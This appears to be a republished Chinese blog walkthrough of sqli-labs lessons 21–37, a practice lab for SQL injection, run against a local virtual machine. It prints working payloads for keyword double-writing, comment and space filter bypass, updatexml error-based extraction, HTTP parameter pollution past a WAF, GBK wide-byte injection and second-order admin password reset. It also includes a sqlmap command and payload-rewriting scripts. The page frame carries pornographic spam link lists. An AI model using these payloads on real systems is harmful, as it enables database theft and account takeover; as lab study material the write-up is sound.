日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[NOTE] sqli-labs Adv Injections

發布時間:2024/4/18 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [NOTE] sqli-labs Adv Injections 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[NOTE] sqli-labs Adv Injections

文章目錄

  • [NOTE] sqli-labs Adv Injections
    • 前言
    • Less-21: Cookie injection - base64 encoded-single quotes and parenthesis
    • Less-22: Cookie injection - base64 encoded-single – double quotes
    • Less-23: GET - Error based - strip comments
    • Less-24: POST - Second Oder Injections *Real treat* - Stored Injections
    • Less-25: GET - Error based - All your OR & AND belong to us - string single quote
    • Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based
    • Less-26: GET - Error based - All your SPACES and COMMENTS belong to us
    • Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis
    • Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote
    • Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes
    • Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis
    • Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis
    • Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application
    • Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application
    • Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application
    • Less-32: GET - Bypass custom filter adding slashes to dangerous chars
    • Less-33: GET - Bypass AddSlashes()
    • Less-34: POST - Bypass AddSlashes()
    • Less-35: GET - Bypass Add Slashes (we dont need them) Interger based
    • Less-36: GET – Bypass MySQL_real_escape_string
    • Less-37: POST – Bypass MySQL_real_escape_string

前言

針對sqli-labs靶場的做題筆記

環境
虛擬機環境
攻擊機:kali|10.10.10.1
靶機:ubuntu|10.10.10.2|Apache+PHP+MySQL

Less-21: Cookie injection - base64 encoded-single quotes and parenthesis

就是Basic Injection里邊的Less-21(重復了?)

Less-22: Cookie injection - base64 encoded-single – double quotes

和Less-21一樣,只不過閉合方式從 ’) 變成了 “
下略

試試sqlmap能不能跑
sqlmap -r cookieInj --level 5 --risk 3 --cookie="uanme=*" --tamper="base64encode"
關鍵是指定要探測注入漏洞的cookie字段(注意格式),以及指定編碼方式(tamper——篡改)

Less-23: GET - Error based - strip comments

strip comments——注釋過濾?應該是做了基本的過濾
看眼源碼:

用preg_replace()對注釋符做了過濾(正則匹配)
過濾方法1:主動閉合——?id=' or 1=1 or '
?id=' union select 1,group_concat(username),group_concat(password) from users where '1'='1
過濾方法2:00截斷——?id=' or 1=1; %00(不知為啥要加個分號)
?id=' union select 1,group_concat(username),group_concat(password) from users; %00

Less-24: POST - Second Oder Injections Real treat - Stored Injections

關于這題的學習資料

看了半天源碼,是有兩個有區別的PHP函數
mysql_real_escape_string
mysql_escape_string

這關簡單模擬了一個系統,注冊、登入、重置密碼、登出到忘記密碼都有
其中除注冊外,其他地方的輸入都使用了mysql_real_escape_string()進行轉義
而注冊的地方使用的是mysql_escape_string()進行轉義

可以上網查一下這兩個函數,其中mysql_escape_string不轉義“%”和“_”

關于這題整體,是二次注入,也叫存儲型注入
大致思路是,先事把含有特殊字符的字符串放到服務器數據庫中
然后再找到服務器提取該字符串并直接拼接到SQL語句中的場景
因為是從數據庫中直接提取字符串而不是由用戶輸入
所以很可能是沒有做任何過濾就直接拼接的
從而繞過一些過濾限制

這題關鍵是重置密碼時,無需用戶輸入自己的用戶名
那么很可能就是系統自己從數據庫中提取并拼接用戶名


做法

先自己注冊一個賬戶:admin'#/password
可以注意到這個用戶名是合法的,并且會被完整顯示出來

登入這個用戶,重置自己的密碼為hacked

然后登出,會發現賬戶admin的密碼被改成了hacked

這是因為后臺修改賬戶密碼的代碼如下:
UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

其中用戶名字段是直接從$_SESSION["username"]中提取的
當拼接上我們自己創建的賬戶時,就會變成:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'
相當于變成了:
UPDATE users SET PASSWORD='$pass' WHERE username='admin'

這樣就達到了修改管理員賬戶密碼的目的

這題難度感覺不白盒,很難做出來

Less-25: GET - Error based - All your OR & AND belong to us - string single quote

一樣的GET參數id
題目是,所有的OR和AND都歸他了
估計是過濾這倆關鍵字

99':報錯
99'%23:沒有報錯
估計是字符型注入

然后payload里面包含and和or,回顯出來都不見了
說明被過濾了

URL編碼不行,concat函數包含字符串的or不行
可能還需要多了解一下編碼繞過這塊,可能有別的可行方法
(編碼繞過方向全錯,我在贛神魔)

這個payload倒不會報語法錯誤,但是說列數不同
?id=' union select (case when (1=1) then 1 else 1 end) %23
即case-when-then-end可用

蚌埠住了,看看源碼,對參數id做了下黑名單過濾:

function blacklist($id) {$id= preg_replace('/or/i',"", $id);$id= preg_replace('/AND/i',"", $id);return $id; }

preg_replace函數:hhhhhh草得去等館長了

preg_replace函數:對目標字符串執行一個正則模式的查找與替換
最關鍵的是,它只會查找并替換一次,只有一次
于是就可以雙寫繞過了
(函數原型好像有一個limit參數指定替換的最大次數?默認是-1無限次?)
(可能是指遍歷替換的次數,不是遞歸替換的次數?)

此外換成||和&&也行,但是后面有些payload還是要雙寫

另外注意的是,別的地方出現了or和and都要雙寫繞過:
?id=' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema=database() anandd table_name='users' %23
可以考慮寫個腳本函數自動執行payload的替換

原來雙寫繞過就可以了,一開始還去想什么編碼、case-wen啥的
終極眼高手低,草


一個繞過過濾的思路:
若有過濾,先判斷是一次性過濾還是非一次性過濾

一次性的話:雙寫繞過

非一次性的話:則要考慮變形

  • 大小寫混拼
  • 運算符代替:or->||、and->&&
  • URL編碼繞過:#->%23
  • Hex編碼繞過:~->0x7e
  • 添加注釋:/*or*/

Less-25a: GET - Blind based - All your OR & AND belong to us – Intiger based

題目加個a,估計只是上一題的變式

字符型注入換成數字型
其他地方實際做起來確實和上一題沒啥區別,都是雙寫可繞過

看看源碼,沒啥東西
倒是有一行print_r(mysql_error())被注釋掉了,所以沒有錯誤回顯

Less-26: GET - Error based - All your SPACES and COMMENTS belong to us

看樣子是過濾掉了空格和注釋
結果不是,or和and也被過濾了

看看源碼的過濾函數:

function blacklist($id) {//strip out OR (non case sensitive)$id= preg_replace('/or/i',"", $id);//Strip out AND (non case sensitive)$id= preg_replace('/and/i',"", $id);//strip out /*$id= preg_replace('/[\/\*]/',"", $id);//Strip out --$id= preg_replace('/[--]/',"", $id);//Strip out #$id= preg_replace('/[#]/',"", $id);//Strip out spaces$id= preg_replace('/[\s]/',"", $id);//Strip out slashes$id= preg_replace('/[\/\\\\]/',"", $id);return $id; }

關于過濾注釋的繞過,一開始想著這樣雙拼:/*/**/*/
結果不行,原來過濾的是/*
所以要這樣雙拼://**/**/
說明繞過的姿勢還要放開思路

驗證注入的payload:?id='//**/**/oorr//**/**/'1'='1

寫了個腳本來做敏感字符得自動化替換:

import sysif __name__ == '__main__':for i in range(len(sys.argv)-1):res = sys.argv[i+1]res = res.replace(" ", "/**/")res = res.replace("or", "oorr")res = res.replace("and", "anandd")res = res.replace("/*", "//**")print(res)exit(0)

后面那個注釋符目前找不到很好的繞過方法,好像只能通過閉合的方式通過檢查

但是試了試別的payload,發現會報錯?例如下面這個爆表:
'//***/union//***/select//***/1,group_concat(table_name),3//***/from//***/infoorrmation_schema.tables//***/where//***/table_schema=database()//***/anandd//***/'1'='1

就報了語法錯誤:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_s’ at line 1

檢查一下發現回顯也正常,只是空格都被抽掉了
(后面檢查可能還真是這里的問題,因為后面測出來是只有用空格分隔的SQL語句如“union select”等才會出現這樣的問題)
那為啥別人可以?
所以估計是union select和后面的limit配合得不是很好?
不會要補習MySQL語法吧…


由于有完整報錯回顯,考慮使用updatexml、extractvalue等函數

改進下腳本:

import sysres = sys.argv[1] res = res.replace(" or ", "||") res = res.replace("or", "oorr") res = res.replace(" ", "/**/") res = res.replace("and", "anandd") res = res.replace("/*", "//**")print(res)

另外空格被過濾,使用圓括號是一個不錯的分隔辦法

爆庫:'||updatexml(1,//**concat(0x7e,//**(select//**database()),//**0x7e),//**1)||'1'='1

爆表:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2

爆字段:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),//***/0x7e),//***/1)||'1'='2

爆數據:
'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit%0B0,1),//***/0x7e),//***/1)||'1'='2

但是到這里問題又來了
由于報錯會限制回顯的字符數,所以需要使用limit 0,1來作偏移
但是這樣的話就免不了又要使用空格或別的分隔符
然后就會被抽走,然后又報語法錯誤:

payload:'||updatexml(1,//***/concat(0x7e,//***/(select(group_concat(username))from(users)limit//***/0,1),//***/0x7e),//***/1)||'1'='2
報錯回顯:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘limit0,1),0x7e),1)||‘1’=‘2’ LIMIT 0,1’ at line 1

上面的‘limit’和‘0’接在一起了,去掉這個limit就沒事


那后面剩下的就上盲注吧
額不對,盲注數據好像也要用到limit?那咋辦啊

我不理解,為什么別人和在數據庫里使用/**/代替空格就行
換到sqli-labs就不行…
不會又是垃圾小皮的鍋吧。。。。

上sqlmap看看
能測出DBMS是MySQL,參數id可以注入,但是后面就測不動了
可能要指定別的參數啥的

Less-26a: GET - Blind Based - All your SPACES and COMMENTS belong to us – String-single quotes-Parenthesis

估計是和上題差不多,有些變形,而且提示了是基于盲注

測了測,發現閉合要加多個)
關閉了錯誤回顯,所以updatexml這類路走不通了

貼個驗證注入存在的payload:')||1=1||('1')=('2

盲注要用到也要limit,那咋整啊

Less-27: GET - Error Based - All your UNION & SELECT Belong to us – String – String quote

看樣子是過濾掉了union和select,估計還有別的

驗證一下:?id=' or 1=1 %23
回顯:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘or1=1’ LIMIT 0,1’ at line 1
看樣子之前過濾的這次也過濾了
得用回之前的腳本來做字段替換

看眼過濾函數:

function blacklist($id) {$id= preg_replace('/[\/\*]/',"", $id);//strip out /*$id= preg_replace('/[--]/',"", $id);//Strip out --.$id= preg_replace('/[#]/',"", $id);//Strip out #.$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.$id= preg_replace('/select/m',"", $id);//Strip out spaces.$id= preg_replace('/[ +]/',"", $id);//Strip out spaces.$id= preg_replace('/union/s',"", $id);//Strip out union$id= preg_replace('/select/s',"", $id);//Strip out select$id= preg_replace('/UNION/s',"", $id);//Strip out UNION$id= preg_replace('/SELECT/s',"", $id);//Strip out SELECT$id= preg_replace('/Union/s',"", $id);//Strip out Union$id= preg_replace('/Select/s',"", $id);//Strip out select return $id; }

觀察一下,發現分隔符只過濾了空格和/*,也就是說制表符%09可用
union和select過濾也不完整,大小寫混拼可用
沒有過濾or和and
注釋符不可用

那比上一題簡單了呀,updatexml注入走起!


payload替換腳本:

import sysres = sys.argv[1] res = res.replace("union", "UnIoN") res = res.replace("select", "SeLeCt") res = res.replace(" ", "%09") res = res.replace("/*", "//**")print(res)

爆庫:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09database()),%090x7e)),%091)%09or%09'1'='1

爆表:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),%090x7e)),%091)%09or%09'1'='2

爆字段:
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),%090x7e)),%091)%09or%09'1'='2

爆數據(limit偏移):
'%09or%09updatexml(1,%09(concat(0x7e,%09(SeLeCt%09group_concat(username)%09from%09users%09limit%090,1),%090x7e)),%091)%09or%09'1'='2
然后發現limit 1,1就沒有任何顯示了????

實際上可以用制表符代替分隔符的話,可以直接union select:
'%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09'1'='1

union和select的限制也可以直接雙寫繞過

Less-27a: GET - Blind Based - All your UNION & SELECT Belong to us – Double Quotes

和上題差不多,換成雙引號,關閉錯誤回顯

爆數據:
"%09UnIoN%09SeLeCt%091,group_concat(username),group_concat(password)%09from%09users%09where%09"1"="1

Less-28: GET - Error Based - All your UNION & SELECT Belong to us – String – Single quote with parenthesis

首先還是先試試

' or '1'='1這個可以正常回顯
返回提示:Your Input is Filtered with following result: 'or'1'='1
空格被過濾了
然后試了試制表符%09,返回提示:result: ' or '1'='1
說明制表符可用,過濾不完全

union和select又被過濾,但試了試大小寫混拼不行
雙寫,發現返回提示:result: ' ununionion seselectlect 1,2,'3
說明雙寫的內容沒有被過濾,怎么回事??

看眼源碼,發現針對這倆的過濾正則是這樣的:/union\s+select/i
即過濾的是這倆的組合

想到除去union select之外還有一個union all select
可以用這個繞過上面的過濾

另外還發現不僅有單引號,還有一個圓括號也要閉合
于是有如下payload:')%09union%09all%09select%09'1','2',('3

爆庫:')%09union%09all%09select%09'1','2',('3

爆表:
')%09union%09all%09select%09'1',group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=database%09and%09'1'=('1

爆字段:
')%09union%09all%09select%09'1',group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'%09and%09'1'=('1

爆數據:
')%09union%09all%09select%09'1',group_concat(username),group_concat(password)%09from%09users%09where%09'1'=('1

Less-28a: GET - Blind Based - All your UNION & SELECT Belong to us – single quote-parenthesis

很卵奇怪,和上一題沒啥區別
看一眼源碼,發現除了對union select的組合過濾之外沒有別的過濾了

Less-29: GET - Error based - IMPIDENCE MISMATCH – Having a WAF in front of web application

“IMPIDENCE MISMATCH”——預防不匹配?
另外題目說有WAF
(This Site Protected by World's Best Firewall,嗯哼?)

隨便試試,發現亂注?' or 1=1 %23有回顯
真就亂注,爆數據:' union select 1,group_concat(username),group_concat(password) from users %23

怎么回事,看看源碼
源碼里面也沒有任何關于WAF的內容啊?


破案了,原來用戶界面是login.php,不是默認的index.php
那就重新來過

發現不管給id傳入什么參數都會報錯,然后302跳到一個hacked.php
顯示說被WAF擋住了

看源碼,發現有很奇怪的地方,既有id1又有id:

$qs = $_SERVER['QUERY_STRING']; $hint=$qs; $id1=java_implimentation($qs); $id=$_GET['id']; // ... whitelist($id1); // ... $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其中whitelist函數用白名單限制了參數只能為整數

java_implimentation函數如下:

function java_implimentation($query_string) {$q_s = $query_string;$qs_array= explode("&",$q_s);foreach($qs_array as $key => $value) {$val=substr($value,0,2);if($val=="id") {$id_value=substr($value,3,30); return $id_value;echo "<br>";break;}} }

explode函數用于將字符串打散成數組
java_implimentation函數的目的大概在于,捕獲第一個id參數并返回
問題就在于只捕獲第一個id參數,就把它返回給id1
并且后面的白名單檢測,只檢測id1
而拼接在SQL語句里的是從$_GET['id']獲得的id

再結合一波**HPP(HTTP Parameter Pollution,HTTP參數污染)**的知識
大概是請求參數中有兩個參數同名的話
不同Web服務器對其的處理規則不同
從而導致利用點出現

例如PHP/Apache里邊,會把最后一個同名參數作為傳參
http://www.xx.com/?id=1&id=' or '1'='1
有可能檢測到第一個id正常就通過,而傳入服務器的是后面的惡意參數

下面是具體不同Web服務器的處理方式:

Web服務器參數獲取函數獲取到的參數
PHP/Apache$_GET(“par”)Last
JSP/TomcatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/ApacheGetvalue(“par”)All(List)
ASP/IISRequest.QueryString(“par”)All(comma-delimited string)

所以根據上述知識,只需要傳入兩個id參數,就可以WAF Bypass了,payload:
?id=1&id=' union select 1,group_concat(username),group_concat(password) from users %23
(前面的過程略)


另外關于這個WAF的體現,整(fu)理(zhi)了一波網上的資料

大概是這么一個雙層服務器架構

服務器端有兩個部分:第一部分為 tomcat 為引擎的 jsp 型服務器,第二部分為 apache 為引擎的 php 服務器,真正提供 web 服務的是 php 服務器。

工作流程為:client 訪問服務器,能直接訪問到 tomcat 服務器,然后 tomcat 服務器再向 apache 服務器請求數據。數據返回路徑則相反。

接下來是參數解析的問題。
問:index.php?id=1&id=2,這時回顯是id=1還是id=2呢?
答:apache (php) 解析最后一個參數,即回顯id=2;tomcat (jsp) 解析第
一個參數,即回顯id=1。

問:index.jsp?id=1&id=2,針對這關的兩層結構,客戶端請求首先過 tomcat,tomcat 解析第一個參數,接下來 tomcat 請求 apache,apache 解析最后一個參數。那么最終返回客戶端的是哪個參數?
答:此處應該還是id=2,因為實際上提供服務的是 apache 服務器,返回的數據也應該是 apache 處理的數據。

而在我們實際應用中,也是有兩層服務器的情況,那為什么要這么做?是因為我們往往在 tomcat 服務器處做數據過濾和處理,功能類似為一個 WAF。

而正因為解析參數的不同,我們此處可以利用該原理繞過 WAF 的檢測。如 payload:index.jsp?id=1&id=0 or 1=1–+,tomcat 只檢查第一個參數id=1,而對第二個參數id=0 or 1=1–+不做檢查,直接傳給了 apache,apache 恰好解析第二個參數,便達到了攻擊的目的。

所以這題模擬的就是上面的Tomcat WAF&Apache Server架構

Less-30: GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application

承接上題經驗
單id參數會報錯
雙重id前正確后惡意能行:?id=1&id=" or 1=1 %23
測出來是雙引號字符型

直接上最后爆數據的payload:
?id=1&id=" union select 1,group_concat(username),group_concat(password) from users %23

看源碼:

和上題沒啥區別

Less-31: GET - BLIND - IMPIDENCE MISMATCH – Having a WAF in front of web application

承接Less-29題經驗

只是變成了雙引號+圓括號閉合:?id=1&id=") or 1=1 %23

最后爆數據的payload:
?id=1&id=") union select 1,group_concat(username),group_concat(password) from users %23

源碼其余地方和之前一樣

Less-32: GET - Bypass custom filter adding slashes to dangerous chars

打入單引號的時候,發現提示回顯:
Hint: The Query String you input is escaped as : \’
The Query String you input in Hex becomes : 5c27

看上去是被加了反斜杠進行轉義
簡單測試,發現'、"以及\都會被加上反斜杠進行轉義

結合提示會回顯16進制的查詢結果,考慮寬字符注入


下面的內容來自Pikachu靶場練習筆記的寬字節注入內容

主要是利用了GBK系列編碼,將兩個字節當成是一個中文字符的原理

相關配置為:set character_set_client = gbk

一般為引號被加上反斜杠轉義的情況
1' and 1=1 #->1\' and 1=1 #
相當于查詢id為‘1’ and 1=1 #’的信息

但是可以主動加上一個‘%df’
1%df' and 1=1 #->1%df\' and 1=1 #->1%df%5c' and 1=1 #->1輼' and 1=1 #
相當于查詢id為‘1輼’的信息,然后執行and后面的判斷


于是驗證注入的payload:%df' or 1=1 %23

后續略

其中需要用到字符串判斷的地方,比如要table_name='users'
可以使用**concat函數char函數**來進行結合變式
?id=%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23

Less-33: GET - Bypass AddSlashes()

AddSlashes,添加斜杠
后面跟個圓括號,看起來像個給特殊字符添加斜桿來轉義的函數

果不其然,參數id打入單引號,提示回顯給加上了反斜杠

可以考慮寬字節注入

?id=%df' or 1=1 %23就可以正確回顯了,說明寬字節注入有效
那基本上就和上一題一樣了

看看源碼,主要是使用addslashes函數對傳參進行過濾
這個函數主要是對'、"、\以及NULL字符前邊加上反斜杠

此外源碼里面有一行比較有意思:
mysql_query("SET NAMES gbk");
看來寬字節注入真的與GBK編碼有很大干系

Less-34: POST - Bypass AddSlashes()

變成登錄框,兩個框都會添加反斜杠

遇到問題了,POST怎么做到寬字節注入?


哦,原來原理上是一樣的
驗證payload:username:%df' or 1=1 #/password:1

這里需要了解一下Content-Type: application/x-www-form-urlencoded
這種MIME是form標簽不設置別的encrypt屬性時所默認采用的
它會把表單提交的鍵和值進行url編碼

所以從網頁上提交的payload,再經過url編碼后,會變成這樣:
%25df%27+or+1%3D1+%23
即%被轉碼了,所以提示回顯里面的百分號出現了

所以需要使用bp等代理工具進行抓包改包:

這樣的所發出的payload才有效,才能注入成功


剩下的payload如無說明默認是uname的參數

判斷回顯字段數為2:
%df' or 1=1 order by 2#

查看回顯的字段:
%df' union select 1,2#

下略

其中需要用到字符串判斷的地方,比如要table_name='users'
可以使用**concat函數char函數**來進行結合變式

Less-35: GET - Bypass Add Slashes (we dont need them) Interger based

數字型還要什么雙引號,直接驗證注入:?id=999 or 1=1 %23

爆列:
?id=999 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) %23

下略

Less-36: GET – Bypass MySQL_real_escape_string

怕是要繞過mysql_real_escape_string這個函數

結果可以寬字節繞過


記一下GBK編碼如何防止寬字符注入

先調用mysql_set_charset函數設置連接所使用的字符集為gbk,再調用mysql_real_escape_string函數來過濾用戶輸入
(mysql_set_charset('gbk','$conn'))

也就是說,先不進行轉義,首先以GBK編碼的形式對提交上來的參數進行編碼,然后再進行轉義,(先編碼也意味著反斜杠即5c不會出現,到下一步的轉義引號才出現)

源碼的失誤就在于先轉義再編碼

Less-37: POST – Bypass MySQL_real_escape_string

雖然使用mysql_real_escape_string函數,但是和GBK字符集設置順序有誤

所以可以寬字符繞過

詳見Less-34、Less-36

總結

以上是生活随笔為你收集整理的[NOTE] sqli-labs Adv Injections的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲精品综合久久 | 最好看的电影2019中文字幕 | 美日韩在线观看 | 九九热伊人 | 美女被猛网站 | 欧洲在线视频 | 欧美激情综合网 | h片在线播放 | 免费看日韩av | 国产精品久久久久999 | 精品国产一区二区三区在线 | 五月天最新网址 | 国产黄色影院 | 国产成人精品免费看视频 | 1024金沙人妻一区二区三区 | 澳门黄色录像 | 羞羞成人| av少妇| 先锋影音av在线资源 | 91中文在线 | 精品国产一级久久 | 午夜性生活视频 | 久久两性视频 | 国产精品成人无码免费 | 成人网av | 黄色短视频在线播放 | 日日夜操 | 国产伦精品一区二区三区免费 | 欧美黄色免费在线观看 | 五十路毛片 | 亚洲av无码久久精品色欲 | 国产黑丝在线观看 | 欧美一区二区在线观看 | 在线黄色免费网站 | 韩国无码av片在线观看网站 | 免费在线观看日韩av | 精品国产污污免费网站入口 | 噜噜噜久久 | 欧洲最强rapper网站直播 | 久久久www成人免费无遮挡大片 | 一本一道波多野结衣av黑人 | 国产黄片一区二区三区 | 亚洲一区在线免费观看 | 天天做日日做 | 中文字幕2021 | 婷婷色九月 | 久久香蕉av| 夜夜骑日日操 | 日韩精品tv | 狠狠操影视| 狠狠操免费视频 | 伊人精品视频 | 最新av在线网址 | 日韩中文字幕免费在线观看 | 国产精品-色哟哟 | 国产乱人乱精一区二视频国产精品 | 极品国产一区 | 亚洲AV无码成人精品区明星换面 | 日日夜夜操操操 | 蜜芽久久 | 日本aa大片| 美女网站在线看 | 国产黄网在线观看 | 免费的一级黄色片 | 黄色小网站在线观看 | 亚洲国产电影在线观看 | 亚洲AV无码一区二区伊人久久 | 长篇乱肉合集乱500小说日本 | 噼里啪啦动漫高清在线观看 | 亚洲高清毛片一区二区 | 福利视频一区二区 | 男女视频久久 | 久久综合狠狠综合久久综合88 | 韩国一级片在线观看 | 精品孕妇一区二区三区 | 欧美另类在线播放 | 国产乱码av | 中文字幕乱视频 | 一区二区伊人 | 欧美中文字幕一区二区 | 日韩久久免费视频 | 成人日韩av| 东北少妇bbbb搡bbb搡 | 青青操影院 | 金8天国av| 免费av导航 | 亚洲熟妇av日韩熟妇在线 | 乡村乱淫| 伊人成人在线观看 | 日韩三级小视频 | 亚洲精品久久久久久久久 | 超碰97自拍 | 欧美黄色a级 | 亚洲第二色 | 在线视频一区二区 | 日韩精品极品视频在线观看免费 | jzz国产 | 国产亚洲精品久久久久久久久动漫 | 天堂精品一区二区三区 |